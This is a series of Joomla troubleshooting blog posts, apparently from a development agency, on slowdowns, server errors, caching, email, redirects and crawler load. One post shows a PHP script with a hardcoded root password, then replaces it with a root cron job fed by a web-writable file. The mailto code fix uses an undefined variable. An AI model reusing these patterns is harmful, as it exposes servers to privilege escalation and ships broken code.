We literally worked for a week trying to optimize the website in order to get it back to stability, but we weren’t able to. We were ready to declare defeat, but, in a moment of despair, we re-read the first email that the client sent, which stated that the whole problem happened after the website was moved to a larger hard disk. So we thought, what if the new hard disk was not an SSD (Solid State Drive) hard disk (the previous hard disk was an SSD hard disk)? To our surprise, a quick test revealed that the new drive was a SATA (Serial AT Attachment) drive, which is around ten times slower than SSD! Aha! We found the root cause of the problem!

Immediately, we asked the hosting company to switch our client back to an SSD drive, which they managed to accomplish in a few hours, and, once they did, the website stabilized and became super fast (even faster than before the move because of all the optimizations that we did).

But how come we didn’t think of that before?

Our client communicated heavily with the host about this problem before resorting to us, so we couldn’t really imagine that it’s a hardware issue (although we did start suspecting that the hard disk was faulty near the end of our investigation, just before we discovered that it was a SATA drive). And honestly, we never thought that the host would do such a thing by mistake (moving a website from SSD to SATA).

But why would a switch from SSD to SATA have such terrible effects on a Joomla website?

Well, on large Joomla websites, MySQL tends to create a lot of temporary tables on the file system. As mentioned above, SATA drives are usually about 10 times slower than SSD drives when it comes to writing data, and so, on SATA drives, MySQL faces a bottleneck when writing those temporary tables. This leads to a huge load caused by MySQL waiting for the SATA drive to write the temporary tables. The problem, of course, is exacerbated as additional MySQL threads try to write some temporary tables, and have to wait in line until the previous threads are served by the SATA drive.

So, our dear reader, if your website starts crashing after moving to a larger hard disk, then make sure you were not moved, by mistake, from an SSD drive to a SATA drive. If that was the case, then ask your host to move you back to SSD. If that wasn’t the case, then please contact us. We always find a solution, our prices are affordable, and we are the friendliest developers on planet Earth.

Internal Server Error When You Use PHP 5.5 for Your Joomla 3.x Website

For the somewhat technically savvy, the title of this post may seem like an oxymoron: Joomla 3.x should run very well on any PHP version ranging from 5.3.10 through version 7! So why should it have a problem with PHP 5.5 (or higher versions of PHP)?

To answer this question, let us tell you a little story…

Around midnight, a client emailed us and told us that he can’t run his Joomla 3.4.8 website on PHP 5.5 (which is his host’s default), and that he has to add the following line to his .htaccess file in order to make his Joomla website work:

AddHandler application/x-httpd-php53 .php

The above code ensured that the PHP version used to power his Joomla website was 5.3.29, which worked for our client, but he didn’t (and rightly so) want to remain on a no longer supported PHP version.

The first thing that we did when we started working on the website was removing the above line from the .htaccess file, and the moment we did that, the website displayed the infamous Internal Server Error page. The client, in his email, told us that the problem was caused by an extension called HotSpots which (again, according to our client) did not work (for some reason) on PHP 5.5. So, we disabled that extension, and still, we had the same problem.

We then disabled all the 3rd party extensions, one by one, until we were left with only the core extensions (we even switched to a core template), but still, we had the Internal Server Error page on the frontend.

Naturally, we checked the Apache error log, which revealed nothing, since the client was on a shared hosting. We expected though to get the server logs from the host, but they (the host) refused to share them us, so we had to fix the problem ourselves.

We then started debugging the entry index.php file: we started, as usual, by adding a die(’Under Maintenance); code to its very beginning. To our surprise, the Internal Server Error remained even after adding the die line to the beginning of the index.php file. So, we thought it was a problem with the file permission, but, unfortunately, it wasn’t (the permissions were set to 644 on the index.php file, and the file ownership was correct). So, we just thought that this file was jinxed, and we created another file, called test.php which contained the following line:

<?php die('Under Maintenance'); ?>

Unsurprisingly, when we tried to load the test.php file from the browser, we were greeted (again) with the Internal Server Error page.

At this point we started suspecting the host: perhaps the host’s PHP 5.5 version is corrupt, and all their clients think that the problem is on their end, and so they add that .htaccess line to run their websites under PHP 5.3, but, we then quickly dismissed that idea since we had another client on the same host who didn’t have this problem.

Only after hours of searching that we discovered the root cause of the problem: there was a php.ini file, placed under the root directory of the Joomla website, which was only compatible with PHP 5.3. Renaming the php.ini file to php.ini.old immediately solved the problem!

If you are seeing an Internal Server Error on your Joomla website when you are using PHP 5.5, then check the root directory for a php.ini file (or a .user.ini file), if you have one, then just rename it to php.ini.old (or .user.ini.old) and see if that fixes the problem. If it does, then you’re welcome! If it doesn’t, then please contact us, we’ll solve the problem for you in very little time and for very little money.

How to Disable Browser Caching in Joomla’s Backend

We received the following email from a client yesterday:

“I’ve had a problem for about a year with my company website. It makes me attempt the login 3-5 times before getting into the backend, and then when I’m in, I have to save any change I make to the site either 2, 3, or 4 times. I just dealt with this weird issue for a while but I can’t take it anymore. I don’t have any coding or technical experience (I’m a long-term amateur Joomla guy). I’m wondering if you guys could help.”

We were perplexed, because we really haven’t seen anything like this before, except maybe for this, but it really didn’t apply to our client since he wasn’t being redirected from www to non-www (or vice versa) when he tried to login and the problem was also happening when he was trying to save articles (or any content item, as we later discovered).

So, we started testing the website and it was very annoying, every time we tried to login we had to login multiple times. The first time it was showing a blank page, and the second time it was showing the following error:

The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.

The third time the website displayed the above error again, and then, when we went to the login page the fourth time (or the fifth time), the website logged us in immediately (without even having to re-enter the username and password).

Now, of course, we wanted to know why the website was showing a blank page the first time we tried to login… So, we set error reporting to Maximum in the configuration.php file and then we tried to login again, and this time, the first time we tried to login, we saw the following error:

Fatal error: Call to a member function checkSession() on a non-object in plugins/user/joomla/joomla.php on line 216

A quick research on the above error revealed that the cause of the problem was the presence of the folder libraries/joomla/plugin folder, which was there from a previous Joomla version, and so we deleted the libraries/joomla/plugin folder, thinking that this would solve the main problem. But it didn’t, it just redirected us to the login page the first time we tried to login (the second time [and the third time, and the fourth time] it still showed the error “The most recent request was denied…”), and so we continued testing and experimenting.

We then remarked something: when we modified an article in the backend, it was modified immediately in the database, but it was still loading the old article in the backend, which meant that the issue was caused by an aggressive type of browser caching. Aha!

So, in order to fix the problem, we instructed the browser not to cache the pages on the Joomla website by adding the following to the very beginning of the .htaccess file (located under the main directory of the website, but we could also have created a different .htaccess file and placed it under the administrator folder):

<FilesMatch "\.(html|htm|php)>
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Mon, 01 Jan 1990 00:00:00 GMT"
</FilesMatch>

As soon as we added the above code, everything worked normally: we only had to login once and we only had to save content items once. The problem was solved! Hooray!

But what caused that aggressive browser caching in the first place?

The website was on a shared hosting, so we assume that the host has enabled this aggressive browser caching at the Apache level in order to reduce the server’s overall traffic (and load).

Now, if you have to login multiple times to your Joomla website and/or you have to save the same article multiple times until you see your changes in the backend, then try adding the above code to your .htaccess file to disable browser caching. If the problem persists, then please contact us. We’ll be happy to help, we always find a solution, and our fees are super affordable!

Google News Not Displaying Images for Joomla Articles: How to Fix

A high traffic law news website that we have worked on many times had a long-time problem with Google News – a problem that we were made aware of a few weeks ago. It wasn’t a serious problem, but it was quite annoying: whenever they posted a new article on the website, Google News would index the article, but would not show the article’s image in its listings. Now, of course, this isn’t catastrophic, but this problem reduced the traffic directed to this website (people are more willing to click on articles with images) and, of course, made the website look slightly unprofessional.

Now, any developer would agree with us that the worst website problems to solve are those that cannot be directly controlled from within the website. And that problem was exactly that – no one has control over what Google decides to show and how it indexes websites. Of course, there was a problem on the website, but we just didn’t know what it was because it wasn’t actually happening on the website.

So, what did we do?

We tried everything. And when we say everything, we mean everything. We read Google News‘ technical requirements (available here) many times, many many times, but with no avail: the image simply wasn’t displaying – instead – the alt attribute of the image was displaying.

What made things even more complex is that we didn’t know whether our fixes worked or not immediately as we had to wait until Google indexes the website. We also couldn’t just add test articles to the website (and then delete them) because of its importance in the legal world (the team managing the website had zero tolerance for on-site debugging).

We were about to declare defeat, total defeat, when a lightning bolt struck us (well, not literally as there aren’t lightnings this time of year in Montreal) after re-reading the technical requirements for the gazillionth time (we are slightly exaggerating here, we only read it about 2 billion times), where we noticed this little sentence about the robots.txt file: “Please read our Help Center article about robots if you believe your site’s robots.txt file, meta tags, or HTML header specifications might be blocking our crawler from accessing your content.” Well, what if it was the robots.txt file?

So, we checked the path of the image of a random article on the website, and we noticed that the path was something like: http://www.ourclientjoomlawebsite.com/cache/multithumb_thumbs/image_file_name.jpg (the client uses the BK-MultiThumb plugin for generating thumbnail images).

But, Joomla’s default robots.txt clearly instructs search engines not to index anything in the cache folder! That’s it! That is really it! Google News wasn’t displaying the images because we told it not to in the robots.txt file! So to fix the problem, all we had to do was to tell Google to index the cache/multithumb_thumbs folder by adding the following line to the robots.txt file immediately after Disallow: /cache/:

Allow: /cache/multithumb_thumbs/

Phew! That simple line fixed a year-old problem!

It really took us a long, long time to get to the bottom of this, and we are glad that we have shared our knowledge in this post so that other people with the same problem will be able to easily fix it. But, if even after following the instructions above, you are still having problems with Google News not displaying your article images, then please contact us. We’re always happy to help, we love solving problems, and our rates are super affordable!

Email Sent but Not Received When Emailing Articles on a Joomla Website

Note: The solution presented in this post consists of a core modification. Core modifications may be wiped out with future Joomla updates. Please keep that in mind should you decide to implement it.

Last Thursday, a regular reader of a client’s website emailed our client and told them that whenever he likes an article on their website, he tries to email its link to himself for future re-reading, and he does that using the “Send this article to a friend” functionality. The problem is, he rarely, if ever, receives the email containing the link to the article (despite the site telling him that the “Email was sent successfully”), so he ends up doing the whole process manually (he copies and pastes the link, and then uses his own email tool to send the link to himself). The reader explained in his email that he was using Comcast.

Now we did have a problem before with this particular functionality (sending articles to a friend), but that problem was addressed on this particular website, and, in addition, the Joomla application clearly stated that the email was successfully sent when the current problem happened, which wasn’t the case for the older problem (which, again, was resolved on this particular website)…

So, we tested this feature by trying to email an article to our email, and, although we received the email, we noticed one thing: the “from” email address was the “Email” field in the popup form, which meant that technically, the Joomla website was trying to send emails on behalf of other domains when using that functionality. We immediately knew that the problem was related to SPF (see this post on why SPF can cause problems when sending emails).

In order to fix the problem we had to make sure that Joomla sends emails on behalf of a domain that is authorized to send emails from the website’s (the Joomla website) IP. Typically, that domain is the actual domain of the Joomla website. We did it this way:

  • We opened the file “controller.php” located under the /home/hospital/public_html/components/com_mailto folder.

  • We changed the following line:

    if (JFactory::getMailer()->sendMail($from, $sender, $email, $subject, $body) !== true)

    to:

    $siteName = JFactory::getConfig()->get( 'sitename' );
    $siteFrom = $config->get( 'mailfrom' );
    $siteSender= $siteName.' on Behalf of '.$sender;
    if (JFactory::getMailer()->sendMail($siteFrom, $siteSender, $email, $subject, $body) !== true)

  • We emailed the user and asked him to try to send an article to himself. He responded immediately with a very sweet “Thank you! It’s working!”.

But what if after applying the fix above the problem still occurred?

In that case, then most likely the website’s IP is not allowed to send emails on behalf of the website’s domain. To fix this problem, you will need to make sure that you add the website’s IP to the domains’s SPF setting (we explained how to do that in the second link above).

But, how come we didn’t have this problem when we tested it?

Some domains, including the domain that we use for testing, are hosted on servers that are lax in enforcing spam rules, and that will allow almost all emails to go through, including emails that are sent from IPs that are not authorized to send them.

Now, if you hare having problems emailing articles on your Joomla website, try applying the above fix. If it doesn’t work, then please contact us. We will fix the problem for you as quickly as humanly possible, we will then ensure that it’s working all the time, and finally, we will send a very reasonable invoice that will incite you to work with us again!

The “Advanced Mode” in Joomla’s Redirect Manager: A Mystery Unveiled

When you start delving into the wonderful world of Joomla, you will soon know that it has many mysteries; some of which you are curious to know everything about, others of which you prefer to leave alone. In the latter category, we can think of one mystery, the Redirect Manager’s Advanced Mode. Before explaining what is that, let us tell you first where to find it!

You can find this option by logging in to the backend, and then clicking on System -> Global Configuration, and then clicking on Redirect on the left tab. You will see the Activate Advanced Mode option (which defaults to “No”) under the Advanced tab on the top.

So, what is it?

Frankly, we have never used it and we didn’t know what it was, until earlier this week, when a client of ours drew our attention to it, asking us what it does. So, we checked the code, mainly in the Redirect Manager plugin (e.g. in the file redirect.php located under the plugins/system/redirect folder), and we saw this:

// If no header is set use a 301 permanent redirect
if (!$link->header || JComponentHelper::getParams('com_redirect')->get('mode', 0) == false)
{
	$link->header = 301;
}

In case you haven’t guessed it already the mode attribute represents the Advanced Mode, and is defaulted to zero (”No”). The default behavior (when the Advanced Mode is set to “No”) is that the HTTP header of any link is 301 (which means that the link is redirected permanently to a different link [the Destination URL]).

Now, what happens if it’s set to “Yes”?

Well, in that case, the stored HTTP header of the link will be used, so, if it’s something like 303 or 304, then it’ll be used instead, instead of the default 301 redirect.

Now, you might be wondering, how does Joomla know which link is a 404 (not found) link, for example? Well, manually, of course! You see, when you switch the Advanced Mode to “Yes”, you will be able to specify the Redirect Status Code for each link (in the Redirect Manager component). Oh, and yes, the Destination URL will no longer be mandatory once you set the Advanced Mode to “Yes”, since some HTTP codes (e.g. the Redirect Status Codes), do not entail a redirection to another link.

In case you’re wondering how the “New Redirects” page will look like once you set the Advanced Mode to “Yes”, then here it is:

New Redirect Page with Advanced Mode Set to Yes

Figure 1: New Redirects Page with Advanced Mode Set to “Yes”

So, if you were wondering about that mystery, then we hope that we have unveiled it for you. If you think we haven’t, or if you need further explanation on the subject, or if you want us to unveil other Joomla mysteries for you, then please contact us. We know Joomla inside out, we respond quickly, and our fees are super affordable!

How We Ran an SSH Command from Joomla

Note: This post is very advanced, and requires some Linux shell experience. If you feel that your experience is not up to the suggestions below, then we suggest that you ask some experts to do it for you.

Another note: Please read the post to the end before performing any work.

Recently, Apache’s ModSecurity has become quite aggressive in blocking suspicious requests. Most of our major clients are finding its new behavior (ModSecurity’s behavior) annoying, since it’s often blocking their IPs when they inadvertently trigger a security rule. Whenever that happens, they call us and we will need to unblock them by ssh’ing to the server and running the following commands:

csf -dr [our-client-ip]
csf -r

The first command drops (hence the dr) from the CSF database, and the second command refreshes CSF and is needed to re-allow access for the blocked IP.

But what is CSF?

CSF, in case you’re wondering, stands for ConfigServer Security & Firewall, and it’s the tool that effectively does the IP blocking (often at the request of ModSecurity, but it has its own blocking rules as well, such as when an IP tries to FTP with the wrong password, or tries to access an htpasswd protected area with the wrong password). CSF is installed by default on almost all Linux servers, as it is critical for any server’s security and stability.

But what is the problem with the above?

We typically process the unblock requests instantly, and by instantly we mean by the time we get the email, which can take anything between a minute and 15 minutes, and during those minutes the client can’t access their own website from their network. Not good!

So, while the above process works, it is not ideal for the client since it makes us the bottleneck, and clients aren’t very fond of that. We had to develop a method that allowed our major clients to unblock themselves from within the Joomla website. But there were 2 challenges:

  1. If they are blocked at the server level, then how can they access the Joomla backend to unblock themselves?

  2. csf unblocking commands require root access for successful execution, which means that we have to run the ssh2_exec PHP function, which means that we have to install the libssh2 PHP library, which may pose a major security threat to the server.

So, how did we overcome the issues above?

The first issue was easy to address – all that we needed to do was to ask the client to ask a team member to access the website using his mobile data connection, which typically uses a different, unblocked IP.

The second issue was trickier: first we needed to install the libssh2 on the server (and this is not a straightforward task, take our word for it), and then we had to create the following script:

$ourClientIP = $_POST['ourClientIP']; //The client IP to unblock is submitted using a simple form
if (!filter_var($ourClientIP, FILTER_VALIDATE_IP)) {
	die('Invalid IP');
}
$sshConnection = ssh2_connect('ourclientjoomlawebsite.com', 22);  //22 is the default ssh port, many servers elect to use a different port for security reasons
ssh2_auth_password($sshConnection , 'root', 'rootPassword');
ssh2_exec($sshConnection , 'csf -dr '.$ourClientIP);
ssh2_exec($sshConnection , 'csf -r');

The above code is fine and dandy, but there is one problem with it, one super-major problem: we are exposing the root password in a PHP script file, which means that any developer with FTP access to the Joomla website will be able to know what the root password is. Additionally, if the Joomla website has any exploit, then a malicious user will gain access to the script, and will be able to know what the root password is.

But, we are always ingenious (and humble!), and so we devised a way that allowed our client to unblock their IP without compromising server’s security. Here’s how:

  • We created a simple (htpasswd protected) form where the user enters the IP to unblock. Once the IP is entered, we save it in a text file called unblock.txt, which is located under the administrator folder.

  • In ssh, we ran the following command:

    crontab -e

    and then we added the following line to the very end (and then saved the cron):

    * * * * * if ls /home/[user]/public_html/administrator/unblock.txt > /dev/null 2>&1; then value=`cat /home/[user]/public_html/administrator/unblock.txt`;/usr/sbin/csf -g "$value";/usr/sbin/csf -dr "$value";/usr/sbin/csf -r;rm -f /home/[user]/public_html/administrator/unblock.txt; fi

The above 1-minute cron command does the following: 1) it grabs the IP to unblock from the blocked.txt file, 2) it checks if the IP already exists in the CSF database (unnecessary step), 3) it then removes the IP, and, 4) it finally refreshes the CSF database and removes the unblock.txt file. Of course, these steps are only performed when the unblock.txt file exists.

By implementing this simple logic in the cron, we avoided installing an additional PHP library and, much more importantly, we ensured that the root password remained “secret”.

Now, if you want to run a different ssh command from your Joomla website, then just follow the instructions above, it will work! If it doesn’t, then please contact us. We will help you do this in no time and for a super affordable fee!

K2 Feed Not Working when sh404SEF Is Enabled – How to Fix

We had a curious case last week. A client called us and told us that his website’s K2 RSS feed was not working. He was using FeedBurner, and he told us that it (FeedBurner) was displaying content that was weeks old instead of displaying the fresh content from his website.

So, we checked the website link that FeedBurner was using to retrieve the feed and we noticed that it was redirecting to the corresponding page on the Joomla website, instead of the RSS page. That was odd, and we have never seen this before.

Now, what was special about this website is that it was using sh404SEF, which is an extension that is known to cause many issues. So, we looked up the non-SEF link of the feed in sh404SEF’s URL Manager, and we found that it was something like: ourclientjoomlawebsite.com/index.php?option=com_k2&Itemid=178&format=feed&id=55&lang=en&layout=category&task=category&view=itemlist. We then disabled sh40SEF, and we tried to load the non-SEF link, and, to our surprise, it worked! It displayed the actual RSS feed instead of redirecting to the normal view.

The thing is, the fact that it worked without sh404SEF made things a bit more confusing (despite the fact that we know that the culprit is sh404SEF), because it just didn’t make sense since sh404SEF should just rewrite the URL, and nothing more. We then spent many hours trying to find the cause of the problem, and we were close to declaring total defeat, but then, something happened: our client emailed us and told us that he has another extremely similar website, where the feed was working (that website had the exact same extensions and template installed – it was technically the same website but used another domain, protected by an .htpasswd, and was used for testing purposes).

We compared the 2 sites together and the only difference that we noticed was that on the development website (the website that didn’t have the problem), the following global configuration settings were all set to “No”:

  • Search Engine Friendly URLs
  • Use URL Rewriting
  • Adds Suffix to URL

While on the actual, production website, the above settings were all set to Yes. So, we changed those settings on the production website to No, and, guess what? It worked! The problem was fixed!

But why did the above settings cause the problem?

We think this was because of a conflict between sh404SEF and Joomla’s own SEF. Typically, these two play well together but, in that particular scenario, they didn’t. We’re not sure of the exact cause because we didn’t do a thorough investigation.

If you have the same problem on your Joomla website, then try disabling the above settings in the global configuration, and see if that fixes the problem. If it doesn’t, then just contact us! We will find a solution (we always do), we will implement that solution, and we will not charge you much!

Warning: The Similar URLs Plugin Will Slow Down Your Joomla Website

If you’re an avid reader of our blog, then you may already know that we’re not huge fans of sh404SEF. In fact, we have gained expertise in getting rid of it on large websites. So when something wrong happens to a website that has sh40SEF installed, we immediately suspect this notorious extension, and usually, we are not proven wrong!

Let us give you an example… Late last week a client came to us and told us that they were having some serious performance issues on their Joomla website. We knew that they were using sh404SEF and so we disabled the whole extension in order to confirm whether the problem was caused by sh404SEF or not. And, again, our suspicions were not wrong: the website worked at optimal speed once sh404SEF was disabled.

But, the client wanted sh404SEF and wasn’t ready to get rid of it (getting rid of sh404SEF on large websites is a painful project), and so he asked us to see what we can do about it. So, we checked the slow query log and we noticed that it was full of something like the following query:

select oldurl, newurl, id, dateadd from #__sh404sef_urls where newurl <> “” AND oldurl not like ‘%vmchk%’ AND newurl not like ‘%format=feed%’ AND newurl not like ‘%format=pdf%’ AND newurl not like ‘%print=1%’ AND oldurl not like ‘%__404__%’ AND ( soundex(oldurl) = soundex(’rss/feed.html’) OR oldurl like ‘%rss%’ OR oldurl like ‘%feed%’) GROUP BY oldurl limit 500;

A quick search in the codebase revealed that these slow queries stemmed from the sh404SEF’s Similar URLs system plugin. So, in order to address the performance issue, all we needed to do was to disable that plugin.

But, doesn’t disabling the plugin have any negative repercussions on the website?

No – it doesn’t. In fact, what this plugin does is that it tries to redirect a URL with a small error (such as a typo) in it to the right URL. Now this is all fine and dandy and it sounds great on paper, but in practice, it is completely a different issue. First, it doesn’t work most of the times and second, when it does work, it can cause SEO issues (any respectable search engine out there doesn’t like to see dozens of links for the same article). So, disabling this plugin is in fact a duty for any Joomla administrator out there, since it hurts both performance and SEO.

If you have the Similar URLs plugin enabled on your Joomla website, and you are experiencing slowdowns, then try disabling it. That should help tremendously. If it doesn’t, or if you are a bit hesitant about disabling this plugin, then please contact us. We’ll give you the right advice, we’ll fix the problem for you, we won’t charge you much, and you will gain top-notch programmers (modesty here, modesty…) and true friends for life!

Your Joomla Website Is Really Really Slow? Maybe It’s Bingbot!

A client of hours with a high traffic Joomla website called us and told us that everyday during peak hours, their website slowed to a crawl. So, as usual, we ssh’d to their server and we checked the slow query log and we didn’t notice anything unusual, which was unusual (even though the long-query-time was set to 1, which means that any query taking over 1 second [the minimum] was recorded into the slow query log). The reason why this was unusual was that the MySQL load was high, yet the MySQL slow query log was nearly empty.

So, and we have no idea why, we checked the Apache logs located under /home/domlogs (note that on some Linux servers, such logs are located under the /usr/local/apache/domlogs), and we tail’d the main daily (and current) access log using the following command:

tail -500 [ourclientjoomlawebsite.com]

and here’s a glimpse of what we saw:

157.55.39.224 – - [08/Jan/2016:09:11:10 -0500] “GET [relative-url-1] HTTP/1.1″ 200 10105 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.224 – - [08/Jan/2016:09:11:10 -0500] “GET [relative-url-2] HTTP/1.1″ 200 9668 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.224 – - [08/Jan/2016:09:11:10 -0500] “GET [relative-url-3] HTTP/1.1″ 200 9491 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.224 – - [08/Jan/2016:09:11:10 -0500] “GET [relative-url-4] HTTP/1.1″ 200 9724 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.173 – - [08/Jan/2016:09:11:10 -0500] “GET [relative-url-5] HTTP/1.1″ 200 9188 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”

As you can see in the above, Bingbot (the search engine crawler released by Microsoft back in 2010 that serves their own search engine, Bing, as well as Yahoo) hit the website with 5 page requests in one second, and it was doing that every single second! Yes – we are not exaggerating. In fact, sometimes Bingbot would request more than 10 pages in one second, but the norm was to request 5 pages every second. How did we know that it was requesting an average of 5 pages every second? Well, by running the following shell command:

grep 'bing' [ourclientjoomlawebsite.com] | wc -l

The above command returned 56,348 when we ran it 3 hours after the logs rotated, which meant that 5.21 (56,348 / (3600 * 3)) pages were crawled by Bingbot every second.

Now we have seen many things in our lives, a three-headed dog (that was in Harry Potter and the Philosopher’s Stone, and the name of that dog was Fluffy), a three-headed monkey (that was in the Tales of Monkey Island game, although, and to be fair about it, we didn’t actually see the three-headed monkey, we were just told about it in the game, and so we assumed that it existed), a smiling taxi driver who drove smoothly and who conducted an excellent and fun conversation and who seemed to be happy about everything, and a warm Montreal winter that ended in early January (yes, that really happened back in 2009). But what we haven’t seen yet was a search engine robot trying to crawl a website with such aggressiveness and during peak traffic times – it wasn’t really normal. Obviously, Bingbot was the cause of this issue and we verified it by temporarily blocking it by adding the following lines to the .htaccess file (just after the RewriteEngine On):

RewriteCond %{HTTP_USER_AGENT} bingbot[NC]
RewriteRule .* - [R=403,L]

The above lines essentially blocked Bingbot from accessing (and thus crawling) the website, and after adding them we noticed that the load dropped to around 2 from around 10. So, the load issue was definitely caused by Bingbot. But, as you might have guessed, we can not keep this particular bot blocked since our client will lose his rankings with Bing.

So, we needed a way to tell Bingbot to slow down, and a quick research about the subject revealed Bing were aware about the load issue that their bot creates on the servers, and that they created a workaround to address it. The workaround was a small setting in the robots.txt file that tells Bingbot to take it easy a bit. In short, the setting will tell Bingbot how many seconds it has to wait until it hits the website with another request.

So, how to tell Bingbot to slow down?

You can tell Bingbot to slow down its crawl rate by adding the following to the end of your robots.txt file (note: we bolded and redded the last line since it is where the most important juice is, but you will need to add all the lines below, not just the red one):

# Slow down bing
User-agent: msnbot
Disallow: /administrator/
Disallow: /ads/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
Crawl-delay: 5

The value of Crawl-delay (which is 5 in the above example), tells Bingbot to wait for 5 seconds between each page crawl.

We have to say that we were a bit (well, more than a bit) skeptical at first – we thought that Bingbot will just ignore that setting and keep crawling the website at their usual rate. But, we were pleasantly surprised when the next day, we noticed that Bingbot reduced its crawling speed to one page every 5 seconds, positively affecting the load on the server! The problem was solved!

But, what if Bingbot didn’t respect the “Crawl-delay” setting?

Well, in that case, we would have resorted to drastic measures. Such measures would have ranged from creating a special, module-less template for Bingbot to completely blocking this crawler by re-adding the above .htaccess lines. Of course, we would have to inform the client, who will have to choose between losing 50% of their traffic during peak hours because of Bingbot or losing about 10% of their traffic (the 10% of their traffic represents the incoming human traffic from Bing or Yahoo).

But wouldn’t setting the “Crawl-delay” setting to a high number result in an SEO hit specific to Bing/Yahoo?

Well, that’s a tricky question. Bing officially recommends keeping that Crawl-delay number low in order to ensure that Bing always has a fresh version of your website (it doesn’t say anything about SEO impact when you use that value). But we think that Bing’s expectations of servers are somehow unrealistic – since not setting the Crawl-rate value will unleash Bing at turbo crawl (yes, you just witnessed the first oxymoron in this post) speed on your website, quickly swamping the server in case the website has many pages. While we’re not sure about the SEO implications with Bing, we think it’s of little importance when compared to the server health and responsiveness since the latter is a well-known SEO measure for Google. And, in all fairness, any website administrator will choose to accommodate Google over Bing any day!

So, if your website is very slow during peak hours and not-so-fast during non-peak-hours, then check your Apache logs for aggressive Bingbot crawling. If that’s the case, then try reducing the Crawl-speed value as per the above suggestion. If that didn’t work, or if the issue has nothing to do with Bingbot, then please contact us. We are here for you, we work hard, and we will solve any Joomla problem for a super affordable fee!

“DateTime::construct(): Failed to parse time string (Never) at position 0 (N)” Error on Joomla

We were busy most of the month doing emergency updates for our clients since Joomla had several critical updates in a row. Most updates went smoothly, but several didn’t. One update, for example, caused the following error to display on the homepage:

DateTime::__construct(): Failed to parse time string (Never) at position 0 (N): The timezone could not be found in the database

We tracked down the problem and we discovered that it had do with a change in a core file called calendar.php located under the libraries/joomla/form/fields folder. That change was incompatible with several 3rd party extensions (including the Mosets Tree extension, which was used by this particular website).

So, in order to fix the problem, we had to modify the calendar.php file the following way:

Just before the following line:

if (strtoupper($this->value) == 'NOW')

We added the following code:

if (empty($this->value) || $this->value == 'Never')
	$this->value = 'now';

And that fixed the problem!

But isn’t it a better to fix the problem in the affected 3rd party extension(s)?

Yes – it is better to do so. But we wanted to offer a generic solution in this post that will fix the problem on all extensions – instead of writing on how to fix the problem in every affected extension (and most likely we won’t cover all the affected extensions). And yes – we know – this is a core modification, but it is a quick and efficient modification (or at least we think it is!).

If you have the same problem on your website, then try modifying the calendar.php file as described above. If you want to fix the problem at the extension level, then please contact us. We’ll do it for you in not time and for a very reasonable fee!

Yet Another “The Connection Was Reset”/”No Data Received” Error on Joomla

A new client of ours emailed us and told us that whenever he visits his website, he’s seeing the following error:

The connection was reset.

The above error is displayed when he’s using FireFox. When he uses Chrome, his website also crashes but with the following (different) error:

No data received

Now, we worked on a similar problem before, but the difference is that on this instance, the problem was happening on every page on the frontend and the backend, while previously the problem was only happening in the backend when installing an extension.

So, the first thing that we did was that we disabled, in the configuration.php, gzip compression and FTP (we also removed all the FTP settings), but still, the problem was there.

We then disabled all the plugins and all the modules, and still we we were seeing the same error. That was very odd and we were perplexed – we just didn’t know where to look to find the cause of the problem (since what we were seeing was not a Joomla error, but a browser error).

Luckily, at around the same time the client started experiencing the problem, he received an automatic email from his server warning him that there was some corruption at the database level. That email (which he forwarded to us) unveiled the whole mystery.

You see, the automated email stated that the #__session table has crashed and that the system didn’t try to automatically repair it. So, we logged in to phpMyAdmin, we selected the database powering the Joomla website, and then we clicked on the #__session table, and we saw this message:

Table ‘./[database]/#__session’ is marked as crashed and should be repaired

So, we repaired the table using the following query (of course, we replaced #__ with the database prefix):

REPAIR TABLE `session`

And guess what? That fixed the problem!

But why did a corrupt session table cause this problem instead of just displaying a fatal error?

Honestly, we didn’t investigate the issue very hard in order to know why – but we’re sure that there’s a logical explanation. For now, you’ll just have to trust us that a corrupt session table will cause The Connection Was Reset/No Data Received error.

So, if you have the same problem on your website, try repairing the session table in phpMyAdmin. If that doesn’t work, then try repairing all the tables. If that still doesn’t work, then why not contact us? We’ll solve the problem quickly, cleanly, and for a very reasonable fee!

Your Joomla Website Is Slow After Changing Your Linking Structure? Read this!

Note: This post is slightly oriented for programmers. We just wanted to let you know before reading it in case you found it a bit too technical for your taste!

Another note: The solution presented in this post requires a core modification since it is addressing a bug in Joomla’s core. Proceed with caution and at your own risk, while keeping in mind that core modifications may be wiped out with a Joomla update.

A client of ours with a high traffic Joomla website (the website is a magazine), called us yesterday and told us that her website was experiencing some serious load issues. So we checked the server hosting the website and we noticed that the load was constantly in the double digits. This was odd because this issue happened all of a sudden, and they didn’t experience any spike in traffic. In fact, the traffic was relatively low this time of year for them (which is the case for many online businesses).

The first thing that we did was checking the slow query log, and it was full of the following queries:

# Time: 151228 16:39:29
# User@Host: db_user @ localhost []
# Query_time: 1.030854 Lock_time: 0.000249 Rows_sent: 11676 Rows_examined: 58413
SET timestamp=1449873569;
SELECT a.id, a.title, a.alias, a.title_alias, a.introtext, a.language, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, a.modified_by, CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, LENGTH(a.fulltext) AS readmore,a.state AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,c.published, c.published AS parents_published
FROM #__content AS a
